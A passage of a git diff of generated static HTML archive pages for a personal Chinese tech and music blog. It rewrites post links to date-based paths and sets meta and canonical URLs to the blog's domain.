         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -437,7 +437,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/光辉岁月-间奏.html">光辉岁月-间奏</a></p>
+        <p class="article-headline-p"><a href="/2016/11/20/光辉岁月-间奏.html">光辉岁月-间奏</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -447,7 +447,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/光辉岁月-间奏.html" target="_self">阅读全文</a>
+            <a href="/2016/11/20/光辉岁月-间奏.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -498,7 +498,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/梦中的婚礼.html">梦中的婚礼</a></p>
+        <p class="article-headline-p"><a href="/2016/08/15/梦中的婚礼.html">梦中的婚礼</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -508,7 +508,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/梦中的婚礼.html" target="_self">阅读全文</a>
+            <a href="/2016/08/15/梦中的婚礼.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
diff --git a/public/archives/2017/01/index.html b/public/archives/2017/01/index.html
index f52d0a9..b427eaa 100644
--- a/public/archives/2017/01/index.html
+++ b/public/archives/2017/01/index.html
@@ -214,7 +214,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/archives/2017/01/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/archives/2017/01/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -229,7 +229,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/archives/2017/01/">
+    <meta property="og:url" content="blog.jzxer.cn/archives/2017/01/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="归档: 2017/1 | Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -243,7 +243,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/archives/2017/01/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/archives/2017/01/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -313,7 +313,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -323,7 +323,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -372,7 +372,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -382,7 +382,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -437,7 +437,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/我是愤怒.html">我是愤怒</a></p>
+        <p class="article-headline-p"><a href="/2017/01/07/我是愤怒.html">我是愤怒</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -447,7 +447,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/我是愤怒.html" target="_self">阅读全文</a>
+            <a href="/2017/01/07/我是愤怒.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
diff --git a/public/archives/2017/02/index.html b/public/archives/2017/02/index.html
index 8eda132..325410a 100644
--- a/public/archives/2017/02/index.html
+++ b/public/archives/2017/02/index.html
@@ -214,7 +214,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/archives/2017/02/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/archives/2017/02/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -229,7 +229,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/archives/2017/02/">
+    <meta property="og:url" content="blog.jzxer.cn/archives/2017/02/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="归档: 2017/2 | Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -243,7 +243,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/archives/2017/02/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/archives/2017/02/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -313,7 +313,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -323,7 +323,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -372,7 +372,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -382,7 +382,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -437,7 +437,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/电吉他即兴原理.html">电吉他即兴原理</a></p>
+        <p class="article-headline-p"><a href="/2017/02/15/电吉他即兴原理.html">电吉他即兴原理</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -447,7 +447,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/电吉他即兴原理.html" target="_self">阅读全文</a>
+            <a href="/2017/02/15/电吉他即兴原理.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -498,7 +498,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/material主题使用攻略.html">material主题使用攻略</a></p>
+        <p class="article-headline-p"><a href="/2017/02/15/material主题使用攻略.html">material主题使用攻略</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -508,7 +508,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/material主题使用攻略.html" target="_self">阅读全文</a>
+            <a href="/2017/02/15/material主题使用攻略.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
diff --git a/public/archives/2017/03/index.html b/public/archives/2017/03/index.html
index 555745c..41de8ef 100644
--- a/public/archives/2017/03/index.html
+++ b/public/archives/2017/03/index.html
@@ -214,7 +214,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/archives/2017/03/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/archives/2017/03/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -229,7 +229,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/archives/2017/03/">
+    <meta property="og:url" content="blog.jzxer.cn/archives/2017/03/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="归档: 2017/3 | Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -243,7 +243,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/archives/2017/03/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/archives/2017/03/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -313,7 +313,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -323,7 +323,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -372,7 +372,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -382,7 +382,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -437,7 +437,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/Amani-间奏-1.html">Amani-间奏</a></p>
+        <p class="article-headline-p"><a href="/2017/03/28/Amani-间奏-1.html">Amani-间奏</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -447,7 +447,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/Amani-间奏-1.html" target="_self">阅读全文</a>
+            <a href="/2017/03/28/Amani-间奏-1.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -498,7 +498,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/前端的职业路线.html">前端的职业路线</a></p>
+        <p class="article-headline-p"><a href="/2017/03/19/前端的职业路线.html">前端的职业路线</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -508,7 +508,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/前端的职业路线.html" target="_self">阅读全文</a>
+            <a href="/2017/03/19/前端的职业路线.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -559,7 +559,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/一些不可思议的的事.html">一些不可思议的的事</a></p>
+        <p class="article-headline-p"><a href="/2017/03/07/一些不可思议的的事.html">一些不可思议的的事</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -569,7 +569,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/一些不可思议的的事.html" target="_self">阅读全文</a>
+            <a href="/2017/03/07/一些不可思议的的事.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
diff --git a/public/archives/2017/04/index.html b/public/archives/2017/04/index.html
index a5aa617..d37c79b 100644
--- a/public/archives/2017/04/index.html
+++ b/public/archives/2017/04/index.html
@@ -214,7 +214,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/archives/2017/04/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/archives/2017/04/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -229,7 +229,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/archives/2017/04/">
+    <meta property="og:url" content="blog.jzxer.cn/archives/2017/04/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="归档: 2017/4 | Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -243,7 +243,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/archives/2017/04/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/archives/2017/04/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -313,7 +313,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -323,7 +323,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -372,7 +372,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -382,7 +382,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -437,7 +437,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/GIT使用攻略.html">git使用技巧</a></p>
+        <p class="article-headline-p"><a href="/2017/04/15/GIT使用攻略.html">git使用技巧</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -447,7 +447,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/GIT使用攻略.html" target="_self">阅读全文</a>
+            <a href="/2017/04/15/GIT使用攻略.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
diff --git a/public/archives/2017/06/index.html b/public/archives/2017/06/index.html
index e39bc57..de95331 100644
--- a/public/archives/2017/06/index.html
+++ b/public/archives/2017/06/index.html
@@ -214,7 +214,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/archives/2017/06/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/archives/2017/06/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -229,7 +229,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/archives/2017/06/">
+    <meta property="og:url" content="blog.jzxer.cn/archives/2017/06/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="归档: 2017/6 | Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -243,7 +243,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/archives/2017/06/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/archives/2017/06/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -313,7 +313,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -323,7 +323,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -372,7 +372,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -382,7 +382,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -437,7 +437,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/div-section-article.html">div,section,article</a></p>
+        <p class="article-headline-p"><a href="/2017/06/28/div-section-article.html">div,section,article</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -447,7 +447,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/div-section-article.html" target="_self">阅读全文</a>
+            <a href="/2017/06/28/div-section-article.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -498,7 +498,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/四种常见的布局.html">四种常见的布局</a></p>
+        <p class="article-headline-p"><a href="/2017/06/28/四种常见的布局.html">四种常见的布局</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -508,7 +508,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/四种常见的布局.html" target="_self">阅读全文</a>
+            <a href="/2017/06/28/四种常见的布局.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -559,7 +559,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/论轮播图的原理.html">解析卡片式轮播图</a></p>
+        <p class="article-headline-p"><a href="/2017/06/24/论轮播图的原理.html">解析卡片式轮播图</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -569,7 +569,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/论轮播图的原理.html" target="_self">阅读全文</a>
+            <a href="/2017/06/24/论轮播图的原理.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -620,7 +620,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue学习笔记（一）.html">vue学习笔记（一）</a></p>
+        <p class="article-headline-p"><a href="/2017/06/18/vue学习笔记（一）.html">vue学习笔记（一）</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -630,7 +630,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue学习笔记（一）.html" target="_self">阅读全文</a>
+            <a href="/2017/06/18/vue学习笔记（一）.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -681,7 +681,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/搭一个windows云服务器.html">搭一个windows云服务器</a></p>
+        <p class="article-headline-p"><a href="/2017/06/16/搭一个windows云服务器.html">搭一个windows云服务器</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -691,7 +691,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/搭一个windows云服务器.html" target="_self">阅读全文</a>
+            <a href="/2017/06/16/搭一个windows云服务器.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -742,7 +742,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/hexo搭建博客.html">hexo 搭建博客初体验</a></p>
+        <p class="article-headline-p"><a href="/2017/06/16/hexo搭建博客.html">hexo 搭建博客初体验</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -752,7 +752,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/hexo搭建博客.html" target="_self">阅读全文</a>
+            <a href="/2017/06/16/hexo搭建博客.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -791,6 +791,8 @@
         
     
         
+    
+        
             
                 <!-- Paradox Thumbnail -->
                 <div class="post_entry-module mdl-card mdl-shadow--4dp mdl-cell mdl-cell--12-col fade out">
@@ -803,7 +805,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vuex-模块介绍.html">vuex 使用技巧</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vuex-模块介绍.html">vuex 使用技巧</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -813,7 +815,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vuex-模块介绍.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vuex-模块介绍.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -851,8 +853,6 @@
             
         
     
-        
-    
 
     
 
diff --git a/public/archives/2017/07/index.html b/public/archives/2017/07/index.html
index 7724c8d..8d72b2f 100644
--- a/public/archives/2017/07/index.html
+++ b/public/archives/2017/07/index.html
@@ -214,7 +214,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/archives/2017/07/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/archives/2017/07/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -229,7 +229,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/archives/2017/07/">
+    <meta property="og:url" content="blog.jzxer.cn/archives/2017/07/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="归档: 2017/7 | Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -243,7 +243,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/archives/2017/07/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/archives/2017/07/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -313,7 +313,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -323,7 +323,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -372,7 +372,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -382,7 +382,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -437,7 +437,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/wuti.html">wuti</a></p>
+        <p class="article-headline-p"><a href="/2017/07/31/wuti.html">wuti</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -447,7 +447,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/wuti.html" target="_self">阅读全文</a>
+            <a href="/2017/07/31/wuti.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -498,7 +498,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/badboy.html">badboy</a></p>
+        <p class="article-headline-p"><a href="/2017/07/30/badboy.html">badboy</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -508,7 +508,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/badboy.html" target="_self">阅读全文</a>
+            <a href="/2017/07/30/badboy.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -554,7 +554,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/关于罗永浩.html">关于罗永浩</a></p>
+        <p class="article-headline-p"><a href="/2017/07/23/关于罗永浩.html">关于罗永浩</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -564,7 +564,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/关于罗永浩.html" target="_self">阅读全文</a>
+            <a href="/2017/07/23/关于罗永浩.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -615,7 +615,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/sync-和async.html">sync 和async</a></p>
+        <p class="article-headline-p"><a href="/2017/07/21/sync-和async.html">sync 和async</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -625,7 +625,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/sync-和async.html" target="_self">阅读全文</a>
+            <a href="/2017/07/21/sync-和async.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -676,7 +676,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/css的命名规范.html">css的命名规范</a></p>
+        <p class="article-headline-p"><a href="/2017/07/17/css的命名规范.html">css的命名规范</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -686,7 +686,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/css的命名规范.html" target="_self">阅读全文</a>
+            <a href="/2017/07/17/css的命名规范.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -737,7 +737,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue-eleme.html">vue-eleme</a></p>
+        <p class="article-headline-p"><a href="/2017/07/05/vue-eleme.html">vue-eleme</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -747,7 +747,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue-eleme.html" target="_self">阅读全文</a>
+            <a href="/2017/07/05/vue-eleme.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -798,7 +798,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/sticky-footer.html">sticky-footer</a></p>
+        <p class="article-headline-p"><a href="/2017/07/02/sticky-footer.html">sticky-footer</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -808,7 +808,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/sticky-footer.html" target="_self">阅读全文</a>
+            <a href="/2017/07/02/sticky-footer.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -859,7 +859,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/我向往的明天.html">我向往的明天</a></p>
+        <p class="article-headline-p"><a href="/2017/07/01/我向往的明天.html">我向往的明天</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -869,7 +869,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/我向往的明天.html" target="_self">阅读全文</a>
+            <a href="/2017/07/01/我向往的明天.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
diff --git a/public/archives/2017/08/index.html b/public/archives/2017/08/index.html
index 262e258..971c9bb 100644
--- a/public/archives/2017/08/index.html
+++ b/public/archives/2017/08/index.html
@@ -214,7 +214,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/archives/2017/08/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/archives/2017/08/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
